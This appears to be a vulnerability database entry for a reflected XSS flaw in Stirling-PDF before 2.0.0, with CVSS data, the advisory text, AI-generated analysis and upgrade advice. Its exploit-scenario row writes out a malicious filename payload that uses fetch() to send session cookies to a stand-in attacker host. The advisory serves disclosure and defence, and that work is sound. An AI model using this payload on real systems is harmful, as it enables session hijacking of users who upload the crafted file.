EUVD-2026-23513Severity by source
AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
Lifecycle Timeline
6DescriptionGitHub Advisory
Stirling-PDF is a locally hosted web application that facilitates various operations on PDF files. In versions prior to 2.0.0, file upload endpoints render user-supplied filenames directly into HTML using unsafe methods like innerHTML without sanitization. An attacker can craft a file with a malicious filename containing JavaScript that executes in the uploading user's browser context, resulting in reflected XSS. The issue affects numerous upload endpoints across the application. The issue has been fixed in version 2.0.0.
AnalysisAI
Reflected cross-site scripting (XSS) in Stirling-PDF versions before 2.0.0 allows unauthenticated remote attackers to execute arbitrary JavaScript in a victim's browser by uploading a file with a malicious filename containing script code. The vulnerability affects multiple file upload endpoints that render user-supplied filenames directly into HTML via unsafe DOM manipulation methods without sanitization. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The vulnerability requires the victim to actively upload a file with a malicious filename through Stirling-PDF's web interface. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | Despite the modest CVSS score of 3.1, this vulnerability presents limited real-world risk due to multiple mitigating factors embedded in the attack vector. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker crafts a file with a malicious filename such as 'report<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">.pdf' and tricks a legitimate Stirling-PDF user into uploading it via social engineering. When the application renders the filename in the upload confirmation or file list page using innerHTML, the embedded JavaScript executes in the victim's browser, exfiltrating session cookies or performing actions on behalf of the victim. … |
| Remediation | Upgrade Stirling-PDF to version 2.0.0 or later, which fixes the unsafe filename rendering by implementing proper input sanitization and using safe DOM methods (textContent instead of innerHTML) or HTML entity encoding. … Detailed patch versions, workarounds, and compensating controls in full report. |
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